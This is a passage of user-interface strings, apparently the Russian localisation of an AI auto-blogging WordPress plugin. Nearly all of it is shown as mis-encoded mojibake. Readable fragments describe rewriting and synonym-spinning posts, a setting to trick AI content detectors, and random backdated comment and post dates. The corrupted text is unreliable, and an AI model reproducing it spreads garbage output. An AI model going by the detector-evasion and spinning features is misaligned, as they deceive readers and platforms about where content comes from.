отключить автоматичеÑкое Ñжатие Ñкопированных изображений?Ð’Ñ‹ хотите отключить автоматичеÑкое редактирование «пользовательÑких Типов запиÑей» WordPress?Ð’Ñ‹ хотите отключить автоматичеÑкое редактирование «Ñтраниц» WordPress?Ð’Ñ‹ хотите отключить автоматичеÑкое редактирование «ПоÑтов» WordPress?Ð’Ñ‹ хотите отключить автоматичеÑкое редактирование категорий WordPress?Хотите отключить автоматичеÑкое редактирование контента, длина которого превышает указанное количеÑтво Ñимволов?Ð’Ñ‹ хотите отключить метод обмана детектора контента AI в плагине? Это оÑтавит контент AI таким, какой он еÑÑ‚ÑŒ, в неизменной форме.Ð’Ñ‹ хотите отключить раÑширение медиатеки Плагина?Хотите включить интеграцию WP-CLI Aiomatic?Ð’Ñ‹ хотите включить функцию веб-хуков OmniBlocks? Это позволит типу Webhook OmniBlock автоматичеÑки получать запроÑÑ‹ из внешних иÑточников, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñпециальный URL webhook.Хотите включить широкий поиÑк изображений без роÑлти?Ð’Ñ‹ хотите включить комментарAI Ð´Ð»Ñ Ñгенерированных ПоÑтов?Ð’Ñ‹ хотите включить подробное ведение журнала Ð´Ð»Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»? Обратите внимание, что Ñто значительно увеличит размер журнала, Ñоздаваемого Ñтим Плагином.Ð’Ñ‹ хотите включить глобальные Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° иÑпользование?Ð’Ñ‹ хотите включить ведение журнала Ð´Ð»Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»?Ð’Ñ‹ хотите отключить функцию AI-ÐÑÑиÑтента Плагина?Ð’Ñ‹ хотите включить пингбеки и трекбеки Ð´Ð»Ñ Ñгенерированных поÑтов?Ð’Ñ‹ хотите включить pingbacks / trackbacks Ð´Ð»Ñ Ñгенерированных ПоÑтов?Ð’Ñ‹ хотите включить фильтрацию нецензурных Ñлов Ð´Ð»Ñ Ñозданного Контента?Ð’Ñ‹ хотите включить Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° иÑпользование Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь?Хотите включить генератор изображений AI и заменить Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ€Ð¾Ñлти-фри изображениÑми, Ñозданными AI? ЕÑли вы выберете «СпиÑок избранных изображений по умолчанию», вы можете добавить URL-адреÑа изображений в поле наÑтроек «СпиÑок избранных изображений по умолчанию».Ð’Ñ‹ хотите включить Ñтот Плагин? Ð’Ñ‹ можете деактивировать любое правило (вам не нужно удалÑÑ‚ÑŒ их, чтобы деактивировать).Ð’Ñ‹ хотите включить Ñто правило? Ð’Ñ‹ можете деактивировать любое правило (вам не нужно удалÑÑ‚ÑŒ их, чтобы деактивировать их).Ð’Ñ‹ хотите включить отÑлеживание иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ ÑтатиÑтики и лимитов иÑпользованиÑ?Ð’Ñ‹ хотите не пропуÑтить импорт Ñтатьи, еÑли Ð´Ð»Ñ Ð¿Ð¾Ñта не найдено изображение без лицензионных отчиÑлений?Хотите не вращать заголовок (только контент)?Ð’Ñ‹ хотите защитить теги HTML в редактируемом текÑте? Это добавит к введенному вами Промпту фразу, указывающую на необходимоÑÑ‚ÑŒ защиты HTML-тегов от редактируемого текÑта.Хотите ли вы рандомизировать порÑдок обработки Ñтрок CSV или обрабатывать Ñтроки в порÑдке их поÑвлениÑ?Ð’Ñ‹ хотите рандомизировать текÑÑ‚, менÑÑ Ñлова текÑта Ñинонимами, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¾Ð´Ð¸Ð½ из перечиÑленных методов? Обратите внимание, что Ñто ÑкÑÐ¿ÐµÑ€Ð¸Ð¼ÐµÐ½Ñ‚Ð°Ð»ÑŒÐ½Ð°Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð¼Ð¾Ð¶ÐµÑ‚ в некоторых ÑлучаÑÑ… значительно увеличить Ð²Ñ€ÐµÐ¼Ñ Ð²Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»Ð°!Ð’Ñ‹ хотите заменить беÑплатное изображение изображением, Ñозданным AI?Ð’Ñ‹ хотите также перепиÑать URL публикации Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð½Ñ‹Ð¼ заголовком?Хотите перепиÑать Контент Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI перед отправкой во Ð’Ñтраивание?Хотите перепиÑать контент Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI перед отправкой во Ð’Ñтраивание? Это перепишет %%post_content%% в Поле ÐаÑтроек 'Шаблон внедрениÑ', поÑтому обÑзательно иÑпользуйте шорткод %%post_content%% в Поле ÐаÑтроек 'Шаблон внедрениÑ', еÑли вы хотите оптимизировать Контент Ð´Ð»Ñ Ð½ÐµÐ³Ð¾ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Ñтой оÑобенноÑти. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%post_title%%, %%post_content%%, %%post_excerpt%%, %%post_url%%, %%post_id%%. Значение по умолчанию Ð´Ð»Ñ Ñтого полÑ:Revise the given content concisely, preserving its style and information, while ensuring the revised text stays within 300 words. Каждый абзац должен Ñодержать от 60 до 120 Ñлов. ИÑключите нетекÑтовые Ñлементы и ненужные повторы. Завершите заÑвлением, предлагающим читателÑм найти дополнительную информацию по адреÑу %%post_url%%. ЕÑли Ñти рекомендации не могут быть Ñоблюдены, отправьте пуÑтой ответ. Содержание выглÑдит Ñледующим образом: %%post_content%%Ð’Ñ‹ хотите запуÑтить ручное редактирование ПоÑтов прÑмо ÑейчаÑ? ПожалуйÑта, проверьте конфигурацию ниже, прежде чем нажимать «Выполнить редактирование ПоÑтов».Хотите ли вы прÑмо ÑÐµÐ¹Ñ‡Ð°Ñ Ð²Ñ€ÑƒÑ‡Ð½ÑƒÑŽ напиÑать опиÑание Ð´Ð»Ñ ÑущеÑтвующих такÑономий? ПожалуйÑта, проверьте конфигурацию ниже, прежде чем нажимать «ЗапуÑтить ЗапиÑÑŒ ОпиÑÐ°Ð½Ð¸Ñ Ð¢Ð°ÐºÑономии».Ð’Ñ‹ хотите запуÑтить Ñто правило ÑейчаÑ? Обратите внимание, что только один ÑкземплÑÑ€ правила разрешен одновременно.Ð’Ñ‹ хотите ÑпарÑить каждую ÑÑылку и извлечь из них читабельный контент? Обратите внимание, что Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ð´Ð¾Ð±Ð°Ð²Ð¸Ñ‚ Ñпаршенные данные в переменную %%item_scraped_data%%, не забудьте иÑпользовать ее в шаблоне выше!Хотите уÑтановить пользовательÑкую дату публикации комментариев Ð´Ð»Ñ Ñозданных комментариев? Ð’Ñ‹ можете ввеÑти 2 даты, минимальную и макÑимальную - плагин будет выбирать Ñлучайную дату из указанного интервала Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ Ñозданного комментариÑ. Задайте диапазон в поле ниже.Хотите уÑтановить Ð´Ð»Ñ Ð¿Ð¾Ñтов произвольную дату публикации?Ð’Ñ‹ хотите уÑтановить пользовательÑкую дату публикации Ð´Ð»Ñ ÐŸÐ¾Ñтов? УÑтановите диапазон в поле ниже.Ð’Ñ‹ хотите уÑтановить пользовательÑкую дату публикации поÑтов? Задайте диапазон в поле ниже. Ð’Ñ‹ можете задать дату в Ñледующем формате (ÑÐ»ÑƒÑ‡Ð°Ð¹Ð½Ð°Ñ Ð´Ð°Ñ‚Ð° будет выбрана из диапазона): date1 ~ date2. ЕÑли вы не иÑпользуете Ñимвол ~, дата будет раÑÑматриватьÑÑ ÐºÐ°Ðº одна Ñтрока даты.Ð’Ñ‹ хотите уÑтановить избранное изображение Ð´Ð»Ñ Ñозданного ПоÑта (без лицензионных отчиÑлений или Ñгенерированное AI)? Обратите внимание, что Ð´Ð»Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ Ñтой функции необходимо наÑтроить Плагин (добавить ключи API) в меню Плагина «ОÑновные ÐаÑтройки» -> Раздел «Параметры импорта избранных изображений без лицензионных отчиÑлений».Ð’Ñ‹ хотите уÑтановить избранное изображение Ð´Ð»Ñ Ñозданного ПоÑта (без лицензионных отчиÑлений или Ñгенерированное AI)? Обратите внимание, что Ð´Ð»Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ñ‹ Ñтой функции необходимо наÑтроить Плагин (добавить ключи API) в меню Плагина \'ОÑновные ÐаÑтройки\' -> Раздел \'Параметры импорта избранных изображений без лицензионных отчиÑлений\'.Хотите уÑтановить макÑимальную цену на импортируемый товар? Цена указана в пенни: 1000 Ñто 10$.Хотите уÑтановить макÑимальную цену на импортируемые товары? Цена указана в пенни: 1000 Ñто 10$.Хотите уÑтановить минимальную цену на импортируемый товар? Цена указана в пенни: 1000 Ñто 10$.Хотите уÑтановить минимальную цену на импортируемые товары? Цена указана в пенни: 1000 Ñто 10$.Ð’Ñ‹ хотите пропуÑтить редактирование Контента публикации?Ð’Ñ‹ хотите пропуÑтить Редактирование ÐнонÑа ПоÑта?Ð’Ñ‹ хотите пропуÑтить редактирование заголовка ПоÑта?Ð’Ñ‹ хотите пропуÑтить вращение ПоÑтов, Ñозданных Ñтим правилом?Ð’Ñ‹ хотите пропуÑтить перевод ПоÑтов, Ñгенерированных Ñтим правилом?Хотите ли вы иÑпользовать вышеуказанные прокÑи-Ñерверы также при доÑтупе к OpenAI API? Ð’ противном Ñлучае они будут иÑпользоватьÑÑ Ñ‚Ð¾Ð»ÑŒÐºÐ¾ Ð´Ð»Ñ Ð¾Ñ‡Ð¸Ñтки продуктов Amazon/загрузки изображений.Корень документаДогриДогри (Переводчик Google)СпиÑок доменов, в которые разрешено вÑтраивать чат-боты:Ðе добавлÑйте ÑÑылки на товары в заголовкиÐе добавлÑйте ÑÑылки на товары в заголовки:Ðе добавлÑÑ‚ÑŒ РазделыÐе пытайтеÑÑŒ переводить Промпты Изображений AI на английÑкий Ñзык:Ðе открывайте ÑÑылки в новой вкладке:Ðе обрабатывать один и тот же ПоÑÑ‚ дважды:Ðе отправлÑÑ‚ÑŒ макÑимальное количеÑтво токенов в запроÑе API (ÑкÑпериментальный):Ðе пытайтеÑÑŒ обмануть детекторы иÑкуÑÑтвенного интеллекта (отключите трюки Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð¾Ð¼):Ðе иÑпользуйте !important в Ñгенерированном CSS Ð´Ð»Ñ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ð¾Ð²:Ðе иÑпользуйте Ð·Ð°Ð´Ð°Ð½Ð¸Ñ Ð² раÑширенном режиме AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐžÐ´Ð¸Ð½Ð¾Ñ‡Ð½Ð¾Ð³Ð¾ ПоÑта (ÑкÑпериментальный):Ðе проверÑтьУ Ð²Ð°Ñ ÐµÑ‰Ðµ нет учетной запиÑи «ChimpRewriter»? Ðажмите здеÑÑŒ, чтобы получить один:У Ð²Ð°Ñ ÐµÑ‰Ðµ нет учетной запиÑи ContentProfessor? Ðажмите здеÑÑŒ, чтобы получить один:У Ð²Ð°Ñ ÐµÑ‰Ðµ нет учетной запиÑи SpinRewriter? Ðажмите здеÑÑŒ, чтобы получить один:У Ð²Ð°Ñ ÐµÑ‰Ðµ нет учетной запиÑи SpinnerChief? Щелкните здеÑÑŒ, чтобы получить:У Ð²Ð°Ñ ÐµÑ‰Ðµ нет аккаунта «Лучший Ñпиннер»? Ðажмите здеÑÑŒ, чтобы получить один:У Ð²Ð°Ñ ÐµÑ‰Ðµ нет учетной запиÑи WordAI? Ðажмите здеÑÑŒ, чтобы получить один:Ðе показывать Ñтот виджетÐе иÑпользуйте аÑÑиÑтентов, вмеÑто Ñтого иÑпользуйте модели иÑкуÑÑтвенного интеллектаСделанный!Скачать вÑе разговорыСкачать Текущие Формы в файл:Скачать ДанныеЗагрузить ÑейчаÑЗагрузите Плагин здеÑьСкачать в CSVПроектЧерновик -> МодерациÑСначала Ñоздайте Черновики ПоÑтов, а затем Опубликуйте их:Созданы в черновикеДубликатДублировать проверку Имени ÐаÑтраиваемого ÐŸÐ¾Ð»Ñ (необÑзательно):Дублировать Ñто правилоГолландÑкийГолландÑкий (переводчик Google)ЕС Центральный 1 (ÐмÑтердам)ЕС Центральный 1 (Франкфурт)ЕС Север 1 (Стокгольм)ЕС Запад 1 (ИрландиÑ)ЕС Запад 1 (Лондон)ЕС Запад 2 (Лондон)ЕС Запад 2 (Париж)ЕС Запад 3 (Париж)Центральный блок ЕС 2 (Франкфурт)РедактироватьРедактировать ÐÑÑиÑтентаРедактировать Ñозданное ПоÑтРедактировать шаблон OmniBlockИзменить иÑточник ПоÑтыРедактировать/добавлÑÑ‚ÑŒ AI-Контент!Редактирование шаблонов и параметровВыбор редактора: Редакторы и админиÑтраторыОбразованиеЕгиптAPI Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь ElevenLabs:ElevenLabs.ioПодходÑщие Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¸Ð¼ÐµÑŽÑ‚ ÐаивыÑший Рейтинг:EmailEmail адреÑ:Контент Ñлектронной почтыÐÐ´Ñ€ÐµÑ Ð¿Ð¾Ð»ÑƒÑ‡Ð°Ñ‚ÐµÐ»Ñ Ñлектронной почтыТема пиÑьмаÐаÑтройки Ð’Ñтроенного ÐŸÑ€Ð¾Ð¸Ð³Ñ€Ñ‹Ð²Ð°Ñ‚ÐµÐ»Ñ YouTube:Внедрение Модели Рерайтинга Контента:Внедрение Промпта Рерайтинга Контента (%%post_content%%):Обновлен черновик вÑтраиваниÑ.Ð’Ñтраивание опубликовано.Ð’Ñтраивание воÑÑтановлено до верÑAI %sÐ’Ñтраивание уÑпешно ÑохраненоВÑтраивание Ñохранено.Ð’Ñтраивание запланировано на: %1$s .Ð’Ñтраивание отправлено.Ð’Ñтраивание обновлено.Ð’ÑтраиваниÑПараметры API Embeddings:Ввод вÑтраиванийМодель вÑтраиваниÑ:Результат вÑтраиваниÑÐ’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ â€” Ñто ÑпоÑоб отправить AI Создателю Контента набор предварительно обученных данных, чтобы дать ему больше контекÑта в отношении вопроÑа или промпта, который был отправлен ему, и на который ожидаетÑÑ Ð¾Ñ‚Ð²ÐµÑ‚. Эти вÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð¼Ð¾Ð³ÑƒÑ‚ помочь модели лучше понÑÑ‚ÑŒ Ñзык и требованиÑ, отправленные в промпте.ПредоÑтавлен пуÑтой ключ API!ПуÑтое начальное выражение API (поÑле обработки)Ð’ генератор изображений добавлен пуÑтой ПромптПуÑтые результаты.Включите интеграцию «Избранное изображение из URL»:Включить перезапиÑÑŒ Контента AI:Включить перезапиÑÑŒ Контента AI: Ñто позволит редактировать и перезапиÑывать Контент.Включить доÑтуп в Интернет Ð´Ð»Ñ AI длÑ:Включить AI Vision:Включите доÑтуп AI в Интернет Ð´Ð»Ñ Ñледующих функций Плагина.Включите интеграцию Aiomatic WP-CLI:Включить автоматичеÑкую обработку вÑех Ðедавно Добавленных ТакÑономий длÑ:Включите Ð’Ñтраивание Чат-бота на Отдаленные Сайты:Включите режим Бога Чат-бота (Внимание! ЭкÑпериментально!):Включите HTML-ответы Чат-бота:Включить мгновенные ответы чат-бота:Включить Преобразование ТекÑта в Речь/Видео Чат-бота:Включить поÑвление чат-бота:Включить ГолоÑовой Ввод Чат-бота:Включить комментарииВключить комментарAI Ð´Ð»Ñ ÐŸÐ¾ÑтовВключить комментарAI Ð´Ð»Ñ ÐŸÐ¾Ñтов:Включить преобразование текÑта в речь/видео:Включите маÑтер контента также Ð´Ð»Ñ Ð½Ðµ вошедших в ÑиÑтему пользователей:Включить маÑтер контента:Включить подробное ведение журнала Ð´Ð»Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»:Включить ÐвтоматичеÑкое ИндекÑирование Ð’Ñтраиваний Ð´Ð»Ñ Ðедавно Опубликованных:Включить Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ:Включить Создание Избранных изображений:Включите функцию ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹: Это позволит автоматичеÑки приÑваивать опубликованному контенту тематичеÑкое изображение.Включить Редактирование Рекомендуемых Изображений:Включить Редактирование Выбранных Изображений: Ñто позволит автоматичеÑки редактировать Текущее Выбранное Изображение ПоÑта на оÑнове предопределенного Промпта.Включите Личный ОпытВключите Личный Опыт:Включите Вызов Функций в Предварительном ПроÑмотре Chabot Ñнизу:Включите Вызов Функций в Глобально Ð’Ñтроенном Чат-боте:Включить глобальные Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¸ÑпользованиÑ:Включить иÑпользование поиÑка картинок Google:Включить ведение журнала Ð´Ð»Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»:Включите копирование ПоÑтов, нажав на него:Включите функциональноÑÑ‚ÑŒ OmniBlocks Webhook:Включите СохранÑемый Чат также Ð´Ð»Ñ ÐезарегиÑтрированных Пользователей:Включить Pingback / TrackbackВключить Pingback / Trackback:Включить Pingbacks/TrackbacksВключить прÑмую очиÑтку Ñайта Pixabay: Включить Редактирование Изображений Контента ПоÑта:Включить Создание Мета-опиÑÐ°Ð½Ð¸Ñ SEO:Включить Spinner длÑ:Включить фильтрацию нецензурных Ñлов:Включить Ð¾Ð³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° иÑпользование ÐŸÑ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¢ÐµÐºÑта в Речь:Включите лучшее иÑпользование Spinner Humanize AI:Включите ChatBot Ð´Ð»Ñ ÐžÑ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ Emails:Включить иÑпользование API Unsplash: Включить отÑлеживание иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ ÑтатиÑтики и лимитов иÑпользованиÑ:Включить модерацию ПоÑтов пользователей:Разрешить ПользователÑм загружать PDF-файлы в Чат-бот:Включить широкий поиÑк изображений: Включите вÑтраивание Ð´Ð»Ñ ÐºÐ°ÐºÐ¸Ñ… либо чаÑтей плагина.Включите или отключите автоматичеÑкое редактирование ПоÑтов каждый раз, когда вы публикуете новый ПоÑÑ‚ (вручную или автоматичеÑки).Включить или отключить Ñтот Плагин. Это дейÑтвует как главный выключатель.Включите Чат-бота Ð´Ð»Ñ Ð¾Ñ‚Ð¿Ñ€Ð°Ð²ÐºÐ¸ Emails. Пользователи Ñмогут попроÑить Чат-бота отправить Ñлектронное пиÑьмо, указав получателÑ, тему и Ñодержание Emails. Плагин даÑÑ‚ указание Чат-боту вернуть Контент Emails в определенном формате, который он проанализирует и отправит Emails от имени Чат-бота.ВключеноВключить ÐвтоматичеÑкое Редактирование ПоÑтов:ВзаимодейÑтвие Ñ Ð²Ð°ÑˆÐµÐ¹ аудиторией имеет решающее значение, и Aiomatic упрощает его Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ функции «Ответ на Комментарий». Этот удобный инÑтрумент иÑпользует алгоритмы иÑкуÑÑтвенного интеллекта Ð´Ð»Ñ Ð°Ð½Ð°Ð»Ð¸Ð·Ð° и Ð¿Ð¾Ð½Ð¸Ð¼Ð°Ð½Ð¸Ñ ÐºÐ¾Ð¼Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ð¸ÐµÐ² на вашем веб-Ñайте, предоÑтавлÑÑ Ð²Ð°Ð¼ рекомендуемые ответы. Ð’Ñ‹ можете быÑтро отвечать на комментарии, веÑти Ñодержательные разговоры и повышать вовлеченноÑÑ‚ÑŒ пользователей — и вÑе Ñто Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AI.ÐнглийÑкийÐнглийÑкий (переводчик Google)ÐаÑлаждайтеÑÑŒ изучением Скрытых Функций Aiomatic и макÑимизируйте потенциал Ñвоего веб-Ñайта WordPress!Введите ключ API в оÑновных наÑтройках, чтобы включитьВведите Ñвои данныеВведите двухбуквенный код Ñзыка, который будет иÑпользоватьÑÑ Ð² качеÑтве Ñзыка WPML / Polylang Ð´Ð»Ñ ÐŸÐ¾Ñтов. Пример: Ð´Ð»Ñ Ð½ÐµÐ¼ÐµÑ†ÐºÐ¾Ð³Ð¾ введите: deВведите текÑÑ‚ HTML, который должен быть добавлен к контенту, Ñозданному AI, в каждом Ñозданном поÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%custom_html%%, %%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% — вы также можете иÑпользовать необÑзательный параметр в шорткодах random_image и random_video, который добавит процентную вероÑтноÑÑ‚ÑŒ поÑÐ²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ отÑутÑÑ‚Ð²Ð¸Ñ Ð¼ÑƒÐ»ÑŒÑ‚Ð¸Ð¼ÐµÐ´Ð¸Ð° — пример: %%random_video[ключевое Ñлово][60]%% — видео поÑвитÑÑ Ð² 60 % Ñлучаев, в оÑтальных 40% шорткод ничего не вернет. Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Введите текÑÑ‚ HTML, который должен быть добавлен к Ñодержимому, Ñгенерированному AI, в каждом Ñозданном ПоÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие Шорткоды: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[ключевое Ñлово]%%, %%random_image_url[ключевое Ñлово]%%, % %random_video[ключевое Ñлово]%%, %%royalty_free_image_attribution%% — вы также можете иÑпользовать необÑзательный параметр в Шорткодах random_image и random_video, который добавит процентную вероÑтноÑÑ‚ÑŒ того, что медиа поÑвитÑÑ Ð¸Ð»Ð¸ нет — пример: %%random_video[ключевое Ñлово] [60]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в оÑтальных 40% Шорткод ничего не вернет - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ Шорткоды (Шорткоды генерируютÑÑ Ð¿Ð¾ правилам из других Плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции «Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто позволит вам Ñоздавать чаÑтично или полноÑтью генерируемые иÑкуÑÑтвенным интеллектом Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента.Введите текÑÑ‚ HTML, который должен быть добавлен к контенту, Ñозданному AI, в каждом Ñозданном поÑту. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% — вы также можете иÑпользовать необÑзательный параметр в шорткодах random_image и random_video, который добавит процентную вероÑтноÑÑ‚ÑŒ поÑÐ²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ отÑутÑÑ‚Ð²Ð¸Ñ Ð¼ÐµÐ´Ð¸Ð°Ñ„Ð°Ð¹Ð»Ð° — пример: %%random_video[ключевое Ñлово][60 ]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в оÑтальных 40% шорткод ничего не вернет - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñгенерированные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Введите HTML-текÑÑ‚, который будет добавлÑÑ‚ÑŒÑÑ Ðº Ñгенерированному AI контенту в каждом Ñозданном поÑте. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды: %%custom_html%%, %%custom_html2%%, %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%%% - в шорткодах random_image и random_video можно также иÑпользовать необÑзательный параметр, который добавит процентную вероÑтноÑÑ‚ÑŒ того, что медиа поÑвитÑÑ Ð¸Ð»Ð¸ нет - пример: %%random_video[keyword][60]%% - видео поÑвитÑÑ Ð² 60% Ñлучаев, в оÑтальных 40% шорткод ничего не вернет - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам из других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать пользовательÑкие шорткоды, определенные в функции 'Создатель ПользовательÑких Шорткодов' из наÑтроек правил - Ñто позволит вам Ñоздавать чаÑтично или полноÑтью AI-генерируемые Промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Введите текÑÑ‚ HTML, который должен быть добавлен к контенту, Ñозданному AI, в каждом Ñозданном поÑту. Ð’Ñ‹ можете иÑпользовать Ñледующие короткие коды: %%custom_html%%, %%custom_html2%%, %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% — вы также можете иÑпользовать необÑзательный параметр в шорткодах random_image и random_video, который добавит процентную вероÑтноÑÑ‚ÑŒ поÑÐ²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð»Ð¸ отÑутÑÑ‚Ð²Ð¸Ñ Ð¼ÑƒÐ»ÑŒÑ‚Ð¸Ð¼ÐµÐ´Ð¸Ð° — пример: %%random_video[ключевое Ñлово][60]%% — видео поÑвитÑÑ Ð² 60 % Ñлучаев, в оÑтальных 40% шорткод ничего не вернет. Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов). Ð’Ñ‹ также Ñможете иÑпользовать ÑобÑтвенные короткие коды, определенные в функции «Создатель пользовательÑких коротких кодов» в наÑтройках правил. Это позволит вам Ñоздавать чаÑтично или полноÑтью Ñгенерированные AI промпты, которые будут иÑпользоватьÑÑ Ð´Ð»Ñ Ð³ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² контента.Введите текÑÑ‚ HTML, который должен быть добавлен к Ñодержимому, Ñгенерированному AI, в каждом Ñозданном ПоÑте. Ð’Ñ‹ можете 